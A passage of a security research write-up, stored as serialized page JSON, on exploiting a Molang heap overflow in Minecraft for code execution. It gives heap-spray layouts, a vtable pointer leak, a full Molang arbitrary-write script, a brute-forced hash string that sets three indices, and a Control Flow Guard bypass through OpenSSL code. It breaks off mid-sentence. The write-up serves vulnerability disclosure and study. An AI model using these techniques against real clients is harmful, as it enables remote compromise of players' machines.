",{"type":24,"tag":80,"props":159427,"children":159429},{"className":159428},[],[159430],{"type":29,"value":36288},{"type":29,"value":159432}," and the other to ",{"type":24,"tag":80,"props":159434,"children":159436},{"className":159435},[],[159437],{"type":29,"value":159438},"addr + 2",{"type":29,"value":159440}," (as long as ",{"type":24,"tag":80,"props":159442,"children":159444},{"className":159443},[],[159445],{"type":29,"value":36288},{"type":29,"value":159447}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":159449,"children":159450},{},[159451,159453,159458,159459,159464],{"type":29,"value":159452},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":80,"props":159454,"children":159456},{"className":159455},[],[159457],{"type":29,"value":154913},{"type":29,"value":158698},{"type":24,"tag":80,"props":159460,"children":159462},{"className":159461},[],[159463],{"type":29,"value":157717},{"type":29,"value":159465}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":137,"props":159467,"children":159469},{"code":159468},"variable.corrupted_var_map_ptr = variable.a;\n",[159470],{"type":24,"tag":80,"props":159471,"children":159472},{"__ignoreMap":7},[159473],{"type":29,"value":159468},{"type":24,"tag":25,"props":159475,"children":159476},{},[159477,159479,159484,159486,159492],{"type":29,"value":159478},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":80,"props":159480,"children":159482},{"className":159481},[],[159483],{"type":29,"value":5037},{"type":29,"value":159485}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":80,"props":159487,"children":159489},{"className":159488},[],[159490],{"type":29,"value":159491},"variable.corrupted_var_map_ptr",{"type":29,"value":159493},", even though the type itself is only a 32-bit float.",{"type":24,"tag":112,"props":159495,"children":159497},{"id":159496},"finding-misaligned-pointers",[159498],{"type":29,"value":159499},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":159501,"children":159502},{},[159503,159505,159510,159511,159517],{"type":29,"value":159504},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":80,"props":159506,"children":159508},{"className":159507},[],[159509],{"type":29,"value":19564},{"type":29,"value":855},{"type":24,"tag":80,"props":159512,"children":159514},{"className":159513},[],[159515],{"type":29,"value":159516},"ptr + 2",{"type":29,"value":159518},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":159520,"children":159521},{},[159522,159527,159528,159533,159535,159540,159542,159547,159549,159554,159556,159561,159563,159569,159570,159575],{"type":24,"tag":80,"props":159523,"children":159525},{"className":159524},[],[159526],{"type":29,"value":157893},{"type":29,"value":6365},{"type":24,"tag":80,"props":159529,"children":159531},{"className":159530},[],[159532],{"type":29,"value":157916},{"type":29,"value":159534}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":80,"props":159536,"children":159538},{"className":159537},[],[159539],{"type":29,"value":157747},{"type":29,"value":159541}," contains three pointers: ",{"type":24,"tag":80,"props":159543,"children":159545},{"className":159544},[],[159546],{"type":29,"value":154913},{"type":29,"value":159548}," (the start of the allocated buffer), ",{"type":24,"tag":80,"props":159550,"children":159552},{"className":159551},[],[159553],{"type":29,"value":6227},{"type":29,"value":159555}," (just past the last element) and ",{"type":24,"tag":80,"props":159557,"children":159559},{"className":159558},[],[159560],{"type":29,"value":157846},{"type":29,"value":159562}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":80,"props":159564,"children":159566},{"className":159565},[],[159567],{"type":29,"value":159568},"uint16_t",{"type":29,"value":107875},{"type":24,"tag":80,"props":159571,"children":159573},{"className":159572},[],[159574],{"type":29,"value":6227},{"type":29,"value":159576}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":159578,"children":159579},{},[159580,159582,159587,159589,159595],{"type":29,"value":159581},"We can make the ",{"type":24,"tag":80,"props":159583,"children":159585},{"className":159584},[],[159586],{"type":29,"value":6227},{"type":29,"value":159588}," pointer equal to ",{"type":24,"tag":80,"props":159590,"children":159592},{"className":159591},[],[159593],{"type":29,"value":159594},"cap - 2",{"type":29,"value":159596}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":137,"props":159598,"children":159600},{"code":159599},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[159601],{"type":24,"tag":80,"props":159602,"children":159603},{"__ignoreMap":7},[159604],{"type":29,"value":159599},{"type":24,"tag":2665,"props":159606,"children":159607},{},[],{"type":24,"tag":25,"props":159609,"children":159610},{},[159611,159613,159618,159620,159625,159627,159632,159634,159639,159640,159645],{"type":29,"value":159612},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":80,"props":159614,"children":159616},{"className":159615},[],[159617],{"type":29,"value":154913},{"type":29,"value":159619}," pointer of ",{"type":24,"tag":80,"props":159621,"children":159623},{"className":159622},[],[159624],{"type":29,"value":157717},{"type":29,"value":159626}," in the entity object above, one that would index ",{"type":24,"tag":80,"props":159628,"children":159630},{"className":159629},[],[159631],{"type":29,"value":6227},{"type":29,"value":159633}," and the final ",{"type":24,"tag":80,"props":159635,"children":159637},{"className":159636},[],[159638],{"type":29,"value":157846},{"type":29,"value":159619},{"type":24,"tag":80,"props":159641,"children":159643},{"className":159642},[],[159644],{"type":29,"value":157893},{"type":29,"value":159646}," also in the same entity object above.",{"type":24,"tag":25,"props":159648,"children":159649},{},[159650,159652,159658,159659,159665,159667,159672,159673,159678,159680,159685,159687,159692,159693,159698,159700,159705],{"type":29,"value":159651},"The corrupted variables ",{"type":24,"tag":80,"props":159653,"children":159655},{"className":159654},[],[159656],{"type":29,"value":159657},"variable.corrupted_len_ptr",{"type":29,"value":855},{"type":24,"tag":80,"props":159660,"children":159662},{"className":159661},[],[159663],{"type":29,"value":159664},"variable.corrupted_cap_ptr",{"type":29,"value":159666}," point to ",{"type":24,"tag":80,"props":159668,"children":159670},{"className":159669},[],[159671],{"type":29,"value":6227},{"type":29,"value":855},{"type":24,"tag":80,"props":159674,"children":159676},{"className":159675},[],[159677],{"type":29,"value":157846},{"type":29,"value":159679},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":80,"props":159681,"children":159683},{"className":159682},[],[159684],{"type":29,"value":159491},{"type":29,"value":159686},", points to the ",{"type":24,"tag":80,"props":159688,"children":159690},{"className":159689},[],[159691],{"type":29,"value":154913},{"type":29,"value":158698},{"type":24,"tag":80,"props":159694,"children":159696},{"className":159695},[],[159697],{"type":29,"value":157717},{"type":29,"value":159699},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":80,"props":159701,"children":159703},{"className":159702},[],[159704],{"type":29,"value":157717},{"type":29,"value":159706},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":159708,"children":159709},{},[159710],{"type":29,"value":159711},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":112,"props":159713,"children":159715},{"id":159714},"leaking-pointers",[159716],{"type":29,"value":159717},"Leaking Pointers",{"type":24,"tag":25,"props":159719,"children":159720},{},[159721,159723,159729],{"type":29,"value":159722},"In C++, an object’s first field is typically a ",{"type":24,"tag":80,"props":159724,"children":159726},{"className":159725},[],[159727],{"type":29,"value":159728},"vtable",{"type":29,"value":159730}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":137,"props":159732,"children":159734},{"code":159733},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[159735],{"type":24,"tag":80,"props":159736,"children":159737},{"__ignoreMap":7},[159738],{"type":29,"value":159733},{"type":24,"tag":25,"props":159740,"children":159741},{},[159742,159743,159748,159750,159755,159757,159762,159764,159769,159771,159776,159777,159782,159784,159789],{"type":29,"value":5094},{"type":24,"tag":80,"props":159744,"children":159746},{"className":159745},[],[159747],{"type":29,"value":5037},{"type":29,"value":159749}," field inside a ",{"type":24,"tag":80,"props":159751,"children":159753},{"className":159752},[],[159754],{"type":29,"value":157390},{"type":29,"value":159756}," is at offset ",{"type":24,"tag":80,"props":159758,"children":159760},{"className":159759},[],[159761],{"type":29,"value":157651},{"type":29,"value":159763},". We already control a corrupted variable, ",{"type":24,"tag":80,"props":159765,"children":159767},{"className":159766},[],[159768],{"type":29,"value":159657},{"type":29,"value":159770},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":80,"props":159772,"children":159774},{"className":159773},[],[159775],{"type":29,"value":6227},{"type":29,"value":158698},{"type":24,"tag":80,"props":159778,"children":159780},{"className":159779},[],[159781],{"type":29,"value":157893},{"type":29,"value":159783}," by 2 bytes, which in turn advances ",{"type":24,"tag":80,"props":159785,"children":159787},{"className":159786},[],[159788],{"type":29,"value":159657},{"type":29,"value":159790}," by 2 bytes.",{"type":24,"tag":25,"props":159792,"children":159793},{},[159794,159796,159801,159803,159809,159810,159815,159816,159821,159823,159828],{"type":29,"value":159795},"By moving ",{"type":24,"tag":80,"props":159797,"children":159799},{"className":159798},[],[159800],{"type":29,"value":6227},{"type":29,"value":159802}," so it equals ",{"type":24,"tag":80,"props":159804,"children":159806},{"className":159805},[],[159807],{"type":29,"value":159808},"cap - 0x38",{"type":29,"value":107875},{"type":24,"tag":80,"props":159811,"children":159813},{"className":159812},[],[159814],{"type":29,"value":5037},{"type":29,"value":158698},{"type":24,"tag":80,"props":159817,"children":159819},{"className":159818},[],[159820],{"type":29,"value":159657},{"type":29,"value":159822}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":80,"props":159824,"children":159826},{"className":159825},[],[159827],{"type":29,"value":159728},{"type":29,"value":159829}," pointer. We can then capture that pointer with:",{"type":24,"tag":137,"props":159831,"children":159833},{"code":159832},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[159834],{"type":24,"tag":80,"props":159835,"children":159836},{"__ignoreMap":7},[159837],{"type":29,"value":159832},{"type":24,"tag":25,"props":159839,"children":159840},{},[159841,159843,159848,159850,159855,159857,159862,159864,159870],{"type":29,"value":159842},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":80,"props":159844,"children":159846},{"className":159845},[],[159847],{"type":29,"value":6227},{"type":29,"value":159849}," until it equals ",{"type":24,"tag":80,"props":159851,"children":159853},{"className":159852},[],[159854],{"type":29,"value":159594},{"type":29,"value":159856},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":80,"props":159858,"children":159860},{"className":159859},[],[159861],{"type":29,"value":159728},{"type":29,"value":159863}," address in ",{"type":24,"tag":80,"props":159865,"children":159867},{"className":159866},[],[159868],{"type":29,"value":159869},"variable.saved_vtable_pointer",{"type":29,"value":87},{"type":24,"tag":2665,"props":159872,"children":159873},{},[],{"type":24,"tag":25,"props":159875,"children":159876},{},[159877,159879,159884,159886,159892],{"type":29,"value":159878},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":80,"props":159880,"children":159882},{"className":159881},[],[159883],{"type":29,"value":49099},{"type":29,"value":159885}," to the address ",{"type":24,"tag":80,"props":159887,"children":159889},{"className":159888},[],[159890],{"type":29,"value":159891},"vtable + 0x1000",{"type":29,"value":159893}," looks like this:",{"type":24,"tag":137,"props":159895,"children":159897},{"code":159896},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[159898],{"type":24,"tag":80,"props":159899,"children":159900},{"__ignoreMap":7},[159901],{"type":29,"value":159896},{"type":24,"tag":112,"props":159903,"children":159905},{"id":159904},"required-heap-layout",[159906],{"type":29,"value":159907},"Required Heap Layout",{"type":24,"tag":25,"props":159909,"children":159910},{},[159911],{"type":29,"value":159912},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":137,"props":159914,"children":159916},{"code":159915},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[159917],{"type":24,"tag":80,"props":159918,"children":159919},{"__ignoreMap":7},[159920],{"type":29,"value":159915},{"type":24,"tag":25,"props":159922,"children":159923},{},[159924,159926,159932,159934,159939,159941,159946,159948,159953,159954,159959],{"type":29,"value":159925},"The first region (",{"type":24,"tag":80,"props":159927,"children":159929},{"className":159928},[],[159930],{"type":29,"value":159931},"Heap Region 1",{"type":29,"value":159933},") contains alternating ",{"type":24,"tag":80,"props":159935,"children":159937},{"className":159936},[],[159938],{"type":29,"value":157717},{"type":29,"value":159940},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":80,"props":159942,"children":159944},{"className":159943},[],[159945],{"type":29,"value":157747},{"type":29,"value":159947}," pointers of ",{"type":24,"tag":80,"props":159949,"children":159951},{"className":159950},[],[159952],{"type":29,"value":157717},{"type":29,"value":855},{"type":24,"tag":80,"props":159955,"children":159957},{"className":159956},[],[159958],{"type":29,"value":157893},{"type":29,"value":159960}," from the entity object for our main attack.",{"type":24,"tag":25,"props":159962,"children":159963},{},[159964,159966,159972,159974,159979,159981,159986,159988,159993,159995,160000],{"type":29,"value":159965},"The second region (",{"type":24,"tag":80,"props":159967,"children":159969},{"className":159968},[],[159970],{"type":29,"value":159971},"Heap Region 2",{"type":29,"value":159973},") contains interleaved ",{"type":24,"tag":80,"props":159975,"children":159977},{"className":159976},[],[159978],{"type":29,"value":157893},{"type":29,"value":159980},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":80,"props":159982,"children":159984},{"className":159983},[],[159985],{"type":29,"value":159728},{"type":29,"value":159987}," pointer into ",{"type":24,"tag":80,"props":159989,"children":159991},{"className":159990},[],[159992],{"type":29,"value":159657},{"type":29,"value":159994}," during our main attack. It could be any object with a ",{"type":24,"tag":80,"props":159996,"children":159998},{"className":159997},[],[159999],{"type":29,"value":159728},{"type":29,"value":160001},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":160003,"children":160004},{},[160005,160007,160013,160015,160020],{"type":29,"value":160006},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":80,"props":160008,"children":160010},{"className":160009},[],[160011],{"type":29,"value":160012},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":160014}," will very likely clobber the ",{"type":24,"tag":80,"props":160016,"children":160018},{"className":160017},[],[160019],{"type":29,"value":158213},{"type":29,"value":160021}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":160023,"children":160024},{},[160025],{"type":29,"value":160026},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":160028,"children":160029},{},[160030],{"type":29,"value":160031},"The final exploit proceeds in three stages:",{"type":24,"tag":2674,"props":160033,"children":160034},{},[160035,160040,160045],{"type":24,"tag":2678,"props":160036,"children":160037},{},[160038],{"type":29,"value":160039},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":2678,"props":160041,"children":160042},{},[160043],{"type":29,"value":160044},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":2678,"props":160046,"children":160047},{},[160048],{"type":29,"value":160049},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":112,"props":160051,"children":160053},{"id":160052},"initial-corruption-variant-lfh-heap-approach",[160054],{"type":29,"value":160055},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":160057,"children":160058},{},[160059],{"type":29,"value":160060},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":160062,"children":160063},{},[160064,160066,160071,160072,160078],{"type":29,"value":160065},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":80,"props":160067,"children":160069},{"className":160068},[],[160070],{"type":29,"value":157960},{"type":29,"value":12113},{"type":24,"tag":80,"props":160073,"children":160075},{"className":160074},[],[160076],{"type":29,"value":160077},"last_index",{"type":29,"value":160079}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":160081,"children":160082},{},[160083,160085,160090,160091,160096,160098,160103,160105,160110,160112,160117,160119,160125,160126,160132,160133,160139],{"type":29,"value":160084},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":80,"props":160086,"children":160088},{"className":160087},[],[160089],{"type":29,"value":154913},{"type":29,"value":158698},{"type":24,"tag":80,"props":160092,"children":160094},{"className":160093},[],[160095],{"type":29,"value":157893},{"type":29,"value":160097},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":80,"props":160099,"children":160101},{"className":160100},[],[160102],{"type":29,"value":157651},{"type":29,"value":160104}," within the ",{"type":24,"tag":80,"props":160106,"children":160108},{"className":160107},[],[160109],{"type":29,"value":157893},{"type":29,"value":160111}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":80,"props":160113,"children":160115},{"className":160114},[],[160116],{"type":29,"value":61222},{"type":29,"value":160118}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":80,"props":160120,"children":160122},{"className":160121},[],[160123],{"type":29,"value":160124},"0xfb",{"type":29,"value":546},{"type":24,"tag":80,"props":160127,"children":160129},{"className":160128},[],[160130],{"type":29,"value":160131},"0xfc",{"type":29,"value":855},{"type":24,"tag":80,"props":160134,"children":160136},{"className":160135},[],[160137],{"type":29,"value":160138},"0xfd",{"type":29,"value":160140}," the script would do:",{"type":24,"tag":137,"props":160142,"children":160144},{"code":160143},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[160145],{"type":24,"tag":80,"props":160146,"children":160147},{"__ignoreMap":7},[160148],{"type":29,"value":160143},{"type":24,"tag":25,"props":160150,"children":160151},{},[160152,160154,160159,160160,160166,160168,160173],{"type":29,"value":160153},"That line would write the ",{"type":24,"tag":80,"props":160155,"children":160157},{"className":160156},[],[160158],{"type":29,"value":61222},{"type":29,"value":97756},{"type":24,"tag":80,"props":160161,"children":160163},{"className":160162},[],[160164],{"type":29,"value":160165},"0x302700fb00fc00fd",{"type":29,"value":160167}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":80,"props":160169,"children":160171},{"className":160170},[],[160172],{"type":29,"value":157893},{"type":29,"value":160174}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":43,"props":160176,"children":160178},{"id":160177},"hijacking-execution",[160179],{"type":29,"value":160180},"Hijacking Execution",{"type":24,"tag":25,"props":160182,"children":160183},{},[160184,160186,160191,160193,160199],{"type":29,"value":160185},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":80,"props":160187,"children":160189},{"className":160188},[],[160190],{"type":29,"value":159728},{"type":29,"value":160192}," and function pointers in the writable ",{"type":24,"tag":80,"props":160194,"children":160196},{"className":160195},[],[160197],{"type":29,"value":160198},".data",{"type":29,"value":160200}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":160202,"children":160203},{},[160204],{"type":29,"value":160205},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":160207,"children":160208},{},[160209],{"type":29,"value":160210},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":160212,"children":160213},{},[160214],{"type":24,"tag":63,"props":160215,"children":160217},{"alt":56176,"src":160216},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":160219,"children":160220},{},[160221,160223,160229,160231,160237,160239,160244,160246,160251,160253,160259,160261,160266,160268,160274,160276,160281],{"type":29,"value":160222},"This snippet calls a method on an object: ",{"type":24,"tag":80,"props":160224,"children":160226},{"className":160225},[],[160227],{"type":29,"value":160228},"rcx",{"type":29,"value":160230}," holds the object pointer, the first ",{"type":24,"tag":80,"props":160232,"children":160234},{"className":160233},[],[160235],{"type":29,"value":160236},"mov",{"type":29,"value":160238}," loads the object's ",{"type":24,"tag":80,"props":160240,"children":160242},{"className":160241},[],[160243],{"type":29,"value":159728},{"type":29,"value":160245}," into ",{"type":24,"tag":80,"props":160247,"children":160249},{"className":160248},[],[160250],{"type":29,"value":62362},{"type":29,"value":160252},", and the function pointer at ",{"type":24,"tag":80,"props":160254,"children":160256},{"className":160255},[],[160257],{"type":29,"value":160258},"rax + 0x8",{"type":29,"value":160260}," is read into ",{"type":24,"tag":80,"props":160262,"children":160264},{"className":160263},[],[160265],{"type":29,"value":62362},{"type":29,"value":160267},". Finally, ",{"type":24,"tag":80,"props":160269,"children":160271},{"className":160270},[],[160272],{"type":29,"value":160273},"__guard_dispatch_icall_fptr",{"type":29,"value":160275}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":80,"props":160277,"children":160279},{"className":160278},[],[160280],{"type":29,"value":62362},{"type":29,"value":160282}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":160284,"children":160285},{},[160286],{"type":29,"value":160287},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":160289,"children":160290},{},[160291],{"type":24,"tag":63,"props":160292,"children":160294},{"alt":56176,"src":160293},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":160296,"children":160297},{},[160298,160300,160306,160308,160314],{"type":29,"value":160299},"Here, the function pointer at ",{"type":24,"tag":80,"props":160301,"children":160303},{"className":160302},[],[160304],{"type":29,"value":160305},"vtable + 0x10",{"type":29,"value":160307}," is loaded into ",{"type":24,"tag":80,"props":160309,"children":160311},{"className":160310},[],[160312],{"type":29,"value":160313},"rdx",{"type":29,"value":160315}," and then called directly.",{"type":24,"tag":25,"props":160317,"children":160318},{},[160319],{"type":29,"value":160320},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":160322,"children":160323},{},[160324,160326,160331],{"type":29,"value":160325},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":80,"props":160327,"children":160329},{"className":160328},[],[160330],{"type":29,"value":159728},{"type":29,"value":160332}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":112,"props":160334,"children":160336},{"id":160335},"locating-overwrite-targets",[160337],{"type":29,"value":160338},"Locating Overwrite Targets",{"type":24,"tag":25,"props":160340,"children":160341},{},[160342,160344,160350,160351,160356,160358,160363,160365,160371],{"type":29,"value":160343},"One of the first targets we identified were the ",{"type":24,"tag":80,"props":160345,"children":160347},{"className":160346},[],[160348],{"type":29,"value":160349},"malloc",{"type":29,"value":855},{"type":24,"tag":80,"props":160352,"children":160354},{"className":160353},[],[160355],{"type":29,"value":154961},{"type":29,"value":160357}," callbacks. These reside in the ",{"type":24,"tag":80,"props":160359,"children":160361},{"className":160360},[],[160362],{"type":29,"value":160198},{"type":29,"value":160364}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":80,"props":160366,"children":160368},{"className":160367},[],[160369],{"type":29,"value":160370},"OPENSSL_malloc/free",{"type":29,"value":136819},{"type":24,"tag":25,"props":160373,"children":160374},{},[160375],{"type":24,"tag":63,"props":160376,"children":160378},{"alt":56176,"src":160377},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":160380,"children":160381},{},[160382],{"type":29,"value":160383},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":160385,"children":160386},{},[160387,160389,160395,160397,160403,160405,160410],{"type":29,"value":160388},"Later, we found another promising function: ",{"type":24,"tag":80,"props":160390,"children":160392},{"className":160391},[],[160393],{"type":29,"value":160394},"ossl_ec_key_new_method_int",{"type":29,"value":160396},". This function creates and initializes an ",{"type":24,"tag":80,"props":160398,"children":160400},{"className":160399},[],[160401],{"type":29,"value":160402},"EC_KEY",{"type":29,"value":160404}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":80,"props":160406,"children":160408},{"className":160407},[],[160409],{"type":29,"value":160198},{"type":29,"value":160411},") containing function pointers:",{"type":24,"tag":25,"props":160413,"children":160414},{},[160415],{"type":24,"tag":63,"props":160416,"children":160418},{"alt":56176,"src":160417},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":160420,"children":160421},{},[160422,160424,160430,160431,160437,160439,160444,160446,160452,160454,160459,160461,160466,160468,160473],{"type":29,"value":160423},"In the image above, ",{"type":24,"tag":80,"props":160425,"children":160427},{"className":160426},[],[160428],{"type":29,"value":160429},"ret->meth",{"type":29,"value":1978},{"type":24,"tag":80,"props":160432,"children":160434},{"className":160433},[],[160435],{"type":29,"value":160436},"default_ec_key_meth",{"type":29,"value":160438},", which points to a structure of function pointers located in ",{"type":24,"tag":80,"props":160440,"children":160442},{"className":160441},[],[160443],{"type":29,"value":160198},{"type":29,"value":160445},". It then calls ",{"type":24,"tag":80,"props":160447,"children":160449},{"className":160448},[],[160450],{"type":29,"value":160451},"ret->meth->init",{"type":29,"value":160453},", passing the ",{"type":24,"tag":80,"props":160455,"children":160457},{"className":160456},[],[160458],{"type":29,"value":23299},{"type":29,"value":160460}," pointer (",{"type":24,"tag":80,"props":160462,"children":160464},{"className":160463},[],[160465],{"type":29,"value":16609},{"type":29,"value":160467},"). This alone isn’t especially useful because ",{"type":24,"tag":80,"props":160469,"children":160471},{"className":160470},[],[160472],{"type":29,"value":16609},{"type":29,"value":160474}," is heap-allocated.",{"type":24,"tag":25,"props":160476,"children":160477},{},[160478,160480,160485],{"type":29,"value":160479},"But, if we look at how ",{"type":24,"tag":80,"props":160481,"children":160483},{"className":160482},[],[160484],{"type":29,"value":160451},{"type":29,"value":160486}," is invoked in the 